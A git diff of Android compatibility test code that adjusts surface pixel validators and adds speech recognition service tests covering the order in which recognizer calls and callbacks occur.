-    private final Allocation mInPixelsAllocation;
-    private final ScriptC_PixelCounter mScript;
-
-
-    private final Object mResultLock = new Object();
-    private int mResultSuccessFrames;
-    private int mResultFailureFrames;
-    private SparseArray<Bitmap> mFirstFailures = new SparseArray<>(MAX_CAPTURED_FAILURES);
-
-    private Runnable mConsumeRunnable = new Runnable() {
-        int mNumSkipped = 0;
-        @Override
-        public void run() {
-            Trace.beginSection("consume buffer");
-            mInPixelsAllocation.ioReceive();
-            Trace.endSection();
-
-            Trace.beginSection("compare and sum");
-            int blackishPixelCount = mScript.reduce_countBlackishPixels(mInPixelsAllocation).get();
-            Trace.endSection();
-
-            boolean success = mPixelChecker.checkPixels(blackishPixelCount, mWidth, mHeight);
-            synchronized (mResultLock) {
-                if (mNumSkipped < NUM_FIRST_FRAMES_SKIPPED) {
-                    mNumSkipped++;
-                    Log.d(TAG, "skipped frame nr " + mNumSkipped + ", success = " + success);
-                } else {
-                    if (success) {
-                        mResultSuccessFrames++;
-                    } else {
-                        mResultFailureFrames++;
-                        int totalFramesSeen = mResultSuccessFrames + mResultFailureFrames;
-                        Log.d(TAG, "Failure (pixel count = " + blackishPixelCount
-                                + ") occurred on frame " + totalFramesSeen);
-
-                        if (mFirstFailures.size() < MAX_CAPTURED_FAILURES) {
-                            Log.d(TAG, "Capturing bitmap #" + mFirstFailures.size());
-                            // error, worth looking at...
-                            Bitmap capture = Bitmap.createBitmap(mWidth, mHeight,
-                                    Bitmap.Config.ARGB_8888);
-                            mInPixelsAllocation.copyTo(capture);
-                            mFirstFailures.put(totalFramesSeen, capture);
-                        }
-                    }
-                }
-            }
-        }
-    };
-
-    public SurfacePixelValidator(Context context, Point size, Rect boundsToCheck,
-            PixelChecker pixelChecker) {
-        mWidth = size.x;
-        mHeight = size.y;
-
-        mWorkerThread = new HandlerThread("SurfacePixelValidator");
-        mWorkerThread.start();
-        mWorkerHandler = new Handler(mWorkerThread.getLooper());
-
-        mPixelChecker = pixelChecker;
-
-        mRS = RenderScript.create(context);
-        mScript = new ScriptC_PixelCounter(mRS);
-
-        mInPixelsAllocation = createBufferQueueAllocation();
-        mScript.set_BOUNDS(new int[] {boundsToCheck.left, boundsToCheck.top,
-                boundsToCheck.right, boundsToCheck.bottom});
-        pixelChecker.getColor().addToPixelCounter(mScript);
-
-        mInPixelsAllocation.setOnBufferAvailableListener(
-                allocation -> mWorkerHandler.post(mConsumeRunnable));
-    }
-
-    public Surface getSurface() {
-        return mInPixelsAllocation.getSurface();
-    }
-
-    private Allocation createBufferQueueAllocation() {
-        return Allocation.createAllocations(mRS, Type.createXY(mRS,
-                Element.RGBA_8888(mRS)
-                /*Element.U32(mRS)*/, mWidth, mHeight),
-                Allocation.USAGE_SCRIPT | Allocation.USAGE_IO_INPUT,
-                1)[0];
-    }
-
-    /**
-     * Shuts down processing pipeline, and returns current pass/fail counts.
-     *
-     * Wait for pipeline to flush before calling this method. If not, frames that are still in
-     * flight may be lost.
-     */
-    public void finish(CapturedActivity.TestResult testResult) {
-        synchronized (mResultLock) {
-            // could in theory miss results still processing, but only if latency is extremely high.
-            // Caller should only call this
-            testResult.failFrames = mResultFailureFrames;
-            testResult.passFrames = mResultSuccessFrames;
-
-            for (int i = 0; i < mFirstFailures.size(); i++) {
-                testResult.failures.put(mFirstFailures.keyAt(i), mFirstFailures.valueAt(i));
-            }
-        }
-        mWorkerThread.quitSafely();
-    }
-}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java
index 6152dfb..8ecdbd0 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java
@@ -49,6 +49,7 @@
     private int mResultSuccessFrames;
     private int mResultFailureFrames;
     private SparseArray<Bitmap> mFirstFailures = new SparseArray<>(MAX_CAPTURED_FAILURES);
+    private long mFrameNumber = 0;
 
     private ImageReader.OnImageAvailableListener mOnImageAvailable =
             new ImageReader.OnImageAvailableListener() {
@@ -65,7 +66,8 @@
             }
             Trace.endSection();
 
-            boolean success = mPixelChecker.validatePlane(plane, mBoundsToCheck, mWidth, mHeight);
+            boolean success = mPixelChecker.validatePlane(plane, mFrameNumber++, mBoundsToCheck,
+                    mWidth, mHeight);
 
             synchronized (mResultLock) {
                 mResultLock.notifyAll();
diff --git a/tests/tests/voiceRecognition/Android.bp b/tests/tests/voiceRecognition/Android.bp
index 9e58e5c..6a6da3f 100644
--- a/tests/tests/voiceRecognition/Android.bp
+++ b/tests/tests/voiceRecognition/Android.bp
@@ -30,8 +30,9 @@
         "compatibility-device-util-axt",
         "androidx.test.ext.junit",
         "truth-prebuilt",
+        "cts-wm-util",
     ],
     srcs: ["src/**/*.java"],
     resource_dirs: ["res"],
-    sdk_version: "system_current",
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/voiceRecognition/AndroidManifest.xml b/tests/tests/voiceRecognition/AndroidManifest.xml
index 41e29cb..1370eb1 100644
--- a/tests/tests/voiceRecognition/AndroidManifest.xml
+++ b/tests/tests/voiceRecognition/AndroidManifest.xml
@@ -28,6 +28,15 @@
                   android:label="SpeechRecognitionActivity"
                   android:exported="true">
         </activity>
+
+        <service android:name="CtsRecognitionService"
+                 android:label="@string/service_name"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.RecognitionService" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/voiceRecognition/OWNERS b/tests/tests/voiceRecognition/OWNERS
new file mode 100644
index 0000000..88d73a9
--- /dev/null
+++ b/tests/tests/voiceRecognition/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 533220
+adamhe@google.com
+augale@google.com
+joannechung@google.com
+lpeter@google.com
+svetoslavganov@google.com
+tymtsai@google.com
diff --git a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
index 25cfadd..cda65f0 100644
--- a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
+++ b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
@@ -18,9 +18,9 @@
 
 import android.app.AppOpsManager;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.media.MediaRecorder;
-import android.os.Binder;
+import android.os.Bundle;
+import android.os.RemoteException;
 import android.speech.RecognitionService;
 import android.speech.RecognizerIntent;
 import android.util.Log;
@@ -51,6 +51,16 @@
     @Override
     protected void onStartListening(Intent recognizerIntent, Callback listener) {
         Log.d(TAG, "onStartListening");
+        if (listener != null) {
+            // We only want to make sure onStartListening() is called successfully, so it returns
+            // empty bundle here.
+            try {
+                listener.results(Bundle.EMPTY);
+                Log.i(TAG, "Invoked #results");
+            } catch (RemoteException e) {
+                Log.e(TAG, "Failed to invoke #results", e);
+            }
+        }
         mediaRecorderReady();
         blameCameraPermission(recognizerIntent, listener.getCallingUid());
         try {
diff --git a/tests/tests/voiceRecognition/res/values/strings.xml b/tests/tests/voiceRecognition/res/values/strings.xml
new file mode 100644
index 0000000..6a1c7da
--- /dev/null
+++ b/tests/tests/voiceRecognition/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="service_name">CtsRecognitionService</string>
+</resources>
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java
new file mode 100644
index 0000000..8d7f8aa
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/AbstractRecognitionServiceTest.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+import static android.voicerecognition.cts.CallbackMethod.CALLBACK_METHOD_ERROR;
+import static android.voicerecognition.cts.CallbackMethod.CALLBACK_METHOD_RESULTS;
+import static android.voicerecognition.cts.CallbackMethod.CALLBACK_METHOD_UNSPECIFIED;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_CANCEL;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_DESTROY;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_START_LISTENING;
+import static android.voicerecognition.cts.RecognizerMethod.RECOGNIZER_METHOD_STOP_LISTENING;
+import static android.voicerecognition.cts.TestObjects.START_LISTENING_INTENT;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+
+import android.os.SystemClock;
+import android.speech.SpeechRecognizer;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/** Abstract implementation for {@link android.speech.SpeechRecognizer} CTS tests. */
+abstract class AbstractRecognitionServiceTest {
+    private static final String TAG = AbstractRecognitionServiceTest.class.getSimpleName();
+
+    private static final long INDICATOR_DISMISS_TIMEOUT = 5000L;
+    private static final long WAIT_TIMEOUT_MS = 30000L; // 30 secs
+    private static final long SEQUENCE_TEST_WAIT_TIMEOUT_MS = 5000L;
+
+    private static final String CTS_VOICE_RECOGNITION_SERVICE =
+            "android.recognitionservice.service/android.recognitionservice.service"
+                    + ".CtsVoiceRecognitionService";
+
+    private static final String IN_PACKAGE_RECOGNITION_SERVICE =
+            "android.voicerecognition.cts/android.voicerecognition.cts.CtsRecognitionService";
+
+    @Rule
+    public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
+            new ActivityTestRule<>(SpeechRecognitionActivity.class);
+
+    private UiDevice mUiDevice;
+    private SpeechRecognitionActivity mActivity;
+
+    abstract void setCurrentRecognizer(SpeechRecognizer recognizer, String component);
+
+    abstract boolean isOnDeviceTest();
+
+    @Nullable
+    abstract String customRecognizer();
+
+    @Before
+    public void setup() {
+        prepareDevice();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mActivity = mActivityTestRule.getActivity();
+        mActivity.init(isOnDeviceTest(), customRecognizer());
+    }
+
+    @Test
+    public void testStartListening() throws Throwable {
+        setCurrentRecognizer(mActivity.mRecognizer, CTS_VOICE_RECOGNITION_SERVICE);
+        mUiDevice.waitForIdle();
+
+        mActivity.startListening();
+        try {
+            // startListening() will call noteProxyOpNoTrow(), if the permission check pass then the
+            // RecognitionService.onStartListening() will be called. Otherwise, a TimeoutException
+            // will be thrown.
+            assertThat(mActivity.mCountDownLatch.await(WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+        } catch (InterruptedException e) {
+            assertWithMessage("onStartListening() not called. " + e).fail();
+        }
+        // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
+        SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
+    }
+
+    @Test
+    public void sequenceTest_startListening_stopListening_results() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, true),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS)
+                );
+    }
+
+    /** Tests that stopListening() is ignored after results(). */
+    @Test
+    public void sequenceTest_startListening_results_stopListening() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS,
+                        CALLBACK_METHOD_ERROR)
+                );
+    }
+
+    /** Tests that cancel() is ignored after results(). */
+    @Test
+    public void sequenceTest_startListening_results_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS)
+        );
+    }
+
+    /** Tests that we can kick off execution again after results(). */
+    @Test
+    public void sequenceTest_startListening_results_startListening_results() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_START_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS,
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, true),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS,
+                        CALLBACK_METHOD_RESULTS)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_startListening() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_START_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_stopListening_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true, true),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_error_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_stopListening_destroy() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING,
+                        RECOGNIZER_METHOD_DESTROY),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true, true),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_error_destroy() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_DESTROY),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_destroy_destroy() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_DESTROY,
+                        RECOGNIZER_METHOD_DESTROY),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true, false),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    private void executeSequenceTest(
+            List<RecognizerMethod> recognizerMethodsToCall,
+            List<CallbackMethod> callbackMethodInstructions,
+            List<Boolean> expectedRecognizerServiceMethodsToPropagate,
+            List<CallbackMethod> expectedClientCallbackMethods) {
+        setCurrentRecognizer(mActivity.mRecognizer, IN_PACKAGE_RECOGNITION_SERVICE);
+        mUiDevice.waitForIdle();
+
+        mActivity.mCallbackMethodsInvoked.clear();
+        CtsRecognitionService.sInvokedRecognizerMethods.clear();
+        CtsRecognitionService.sInstructedCallbackMethods.clear();
+        CtsRecognitionService.sInstructedCallbackMethods.addAll(callbackMethodInstructions);
+
+        List<RecognizerMethod> expectedServiceMethods = new ArrayList<>();
+
+        for (int i = 0; i < recognizerMethodsToCall.size(); i++) {
+            RecognizerMethod recognizerMethod = recognizerMethodsToCall.get(i);
+            Log.i(TAG, "Sending service method " + recognizerMethod.name());
+
+            switch (recognizerMethod) {
+                case RECOGNIZER_METHOD_UNSPECIFIED:
+                    fail();
+                    break;
+                case RECOGNIZER_METHOD_START_LISTENING:
+                    mActivity.startListening(START_LISTENING_INTENT);
+                    break;
+                case RECOGNIZER_METHOD_STOP_LISTENING:
+                    mActivity.stopListening();
+                    break;
+                case RECOGNIZER_METHOD_CANCEL:
+                    mActivity.cancel();
+                    break;
+                case RECOGNIZER_METHOD_DESTROY:
+                    mActivity.destroyRecognizer();
+                    break;
+                default:
+                    fail();
+            }
+
+            if (expectedRecognizerServiceMethodsToPropagate.get(i)) {
+                expectedServiceMethods.add(
+                        RECOGNIZER_METHOD_DESTROY != recognizerMethod
+                                ? recognizerMethod
+                                : RECOGNIZER_METHOD_CANCEL);
+                PollingCheck.waitFor(SEQUENCE_TEST_WAIT_TIMEOUT_MS,
+                        () -> CtsRecognitionService.sInvokedRecognizerMethods.size()
+                                == expectedServiceMethods.size());
+            }
+        }
+
+        PollingCheck.waitFor(SEQUENCE_TEST_WAIT_TIMEOUT_MS,
+                () -> CtsRecognitionService.sInstructedCallbackMethods.isEmpty());
+        PollingCheck.waitFor(SEQUENCE_TEST_WAIT_TIMEOUT_MS,
+                () -> mActivity.mCallbackMethodsInvoked.size()
+                        >= expectedClientCallbackMethods.size());
+
+        assertThat(CtsRecognitionService.sInvokedRecognizerMethods).isEqualTo(expectedServiceMethods);
+        assertThat(mActivity.mCallbackMethodsInvoked).isEqualTo(expectedClientCallbackMethods);
+        assertThat(CtsRecognitionService.sInstructedCallbackMethods).isEmpty();
+    }
+
+    private static void prepareDevice() {
+        // Unlock screen.
+        runShellCommand("input keyevent KEYCODE_WAKEUP");
+        // Dismiss keyguard, in case it's set as "Swipe to unlock".
+        runShellCommand("wm dismiss-keyguard");
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CallbackMethod.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CallbackMethod.java
new file mode 100644
index 0000000..b8622f4
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CallbackMethod.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+enum CallbackMethod {
+    CALLBACK_METHOD_UNSPECIFIED,
+    CALLBACK_METHOD_BEGINNING_OF_SPEECH,
+    CALLBACK_METHOD_BUFFER_RECEIVED,
+    CALLBACK_METHOD_END_OF_SPEECH,
+    CALLBACK_METHOD_ERROR,
+    CALLBACK_METHOD_PARTIAL_RESULTS,
+    CALLBACK_METHOD_READY_FOR_SPEECH,
+    CALLBACK_METHOD_RESULTS,
+    CALLBACK_METHOD_RMS_CHANGED
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CtsRecognitionService.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CtsRecognitionService.java
new file mode 100644
index 0000000..5627c9d
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CtsRecognitionService.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+import static android.voicerecognition.cts.TestObjects.ERROR_CODE;
+import static android.voicerecognition.cts.TestObjects.PARTIAL_RESULTS_BUNDLE;
+import static android.voicerecognition.cts.TestObjects.READY_FOR_SPEECH_BUNDLE;
+import static android.voicerecognition.cts.TestObjects.RESULTS_BUNDLE;
+import static android.voicerecognition.cts.TestObjects.RMS_CHANGED_VALUE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.Intent;
+import android.os.RemoteException;
+import android.speech.RecognitionService;
+import android.util.Log;
+
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Queue;
+import java.util.Random;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+public class CtsRecognitionService extends RecognitionService {
+    private static final String TAG = CtsRecognitionService.class.getSimpleName();
+
+    public static List<RecognizerMethod> sInvokedRecognizerMethods = new ArrayList<>();
+    public static Queue<CallbackMethod> sInstructedCallbackMethods = new ArrayDeque<>();
+    public static AtomicBoolean sIsActive = new AtomicBoolean(false);
+
+    private final Random mRandom = new Random();
+
+    @Override
+    protected void onStartListening(Intent recognizerIntent, Callback listener) {
+        sIsActive.set(true);
+        assertThat(listener.getCallingUid()).isEqualTo(android.os.Process.myUid());
+
+        sInvokedRecognizerMethods.add(RecognizerMethod.RECOGNIZER_METHOD_START_LISTENING);
+
+        maybeRespond(listener);
+        sIsActive.set(false);
+    }
+
+    @Override
+    protected void onStopListening(Callback listener) {
+        sIsActive.set(true);
+        assertThat(listener.getCallingUid()).isEqualTo(android.os.Process.myUid());
+
+        sInvokedRecognizerMethods.add(RecognizerMethod.RECOGNIZER_METHOD_STOP_LISTENING);
+
+        maybeRespond(listener);
+        sIsActive.set(false);
+    }
+
+    @Override
+    protected void onCancel(Callback listener) {
+        sIsActive.set(true);
+        assertThat(listener.getCallingUid()).isEqualTo(android.os.Process.myUid());
+
+        sInvokedRecognizerMethods.add(RecognizerMethod.RECOGNIZER_METHOD_CANCEL);
+
+        maybeRespond(listener);
+        sIsActive.set(false);
+    }
+
+    private void maybeRespond(Callback listener) {
+        if (sInstructedCallbackMethods.isEmpty()) {
+            return;
+        }
+
+        CallbackMethod callbackMethod = sInstructedCallbackMethods.poll();
+
+        Log.i(TAG, "Responding with callback method " + callbackMethod.name());
+
+        try {
+            switch (callbackMethod) {
+                case CALLBACK_METHOD_UNSPECIFIED:
+                    // ignore
+                    break;
+                case CALLBACK_METHOD_BEGINNING_OF_SPEECH:
+                    listener.beginningOfSpeech();
+                    break;
+                case CALLBACK_METHOD_BUFFER_RECEIVED:
+                    byte[] buffer = new byte[100];
+                    mRandom.nextBytes(buffer);
+                    listener.bufferReceived(buffer);
+                    break;
+                case CALLBACK_METHOD_END_OF_SPEECH:
+                    listener.endOfSpeech();
+                    break;
+                case CALLBACK_METHOD_ERROR:
+                    listener.error(ERROR_CODE);
+                    break;
+                case CALLBACK_METHOD_RESULTS:
+                    listener.results(RESULTS_BUNDLE);
+                    break;
+                case CALLBACK_METHOD_PARTIAL_RESULTS:
+                    listener.partialResults(PARTIAL_RESULTS_BUNDLE);
+                    break;
+                case CALLBACK_METHOD_READY_FOR_SPEECH:
+                    listener.readyForSpeech(READY_FOR_SPEECH_BUNDLE);
+                    break;
+                case CALLBACK_METHOD_RMS_CHANGED:
+                    listener.rmsChanged(RMS_CHANGED_VALUE);
+                    break;
+                default:
+                    fail();
+            }
+        } catch (RemoteException e) {
+            fail();
+        }
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/DefaultRecognitionServiceTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/DefaultRecognitionServiceTest.java
new file mode 100644
index 0000000..7663c3d
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/DefaultRecognitionServiceTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.content.Context;
+import android.provider.Settings;
+import android.speech.SpeechRecognizer;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+
+/** Recognition service tests for a default speech recognition service. */
+@RunWith(AndroidJUnit4.class)
+public final class DefaultRecognitionServiceTest extends AbstractRecognitionServiceTest {
+
+    // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
+    final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
+
+    protected final Context mContext = InstrumentationRegistry.getTargetContext();
+    private final String mOriginalVoiceRecognizer = Settings.Secure.getString(
+            mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
+
+    @Rule
+    public final SettingsStateChangerRule mVoiceRecognitionServiceSetterRule =
+            new SettingsStateChangerRule(mContext, VOICE_RECOGNITION_SERVICE,
+                    mOriginalVoiceRecognizer);
+
+    @Override
+    protected void setCurrentRecognizer(SpeechRecognizer recognizer, String component) {
+        runWithShellPermissionIdentity(
+                () -> Settings.Secure.putString(mContext.getContentResolver(),
+                        VOICE_RECOGNITION_SERVICE, component));
+    }
+
+    @Override
+    boolean isOnDeviceTest() {
+        return false;
+    }
+
+    @Override
+    String customRecognizer() {
+        // We will use the default one (specified in secure settings).
+        return null;
+    }
+}
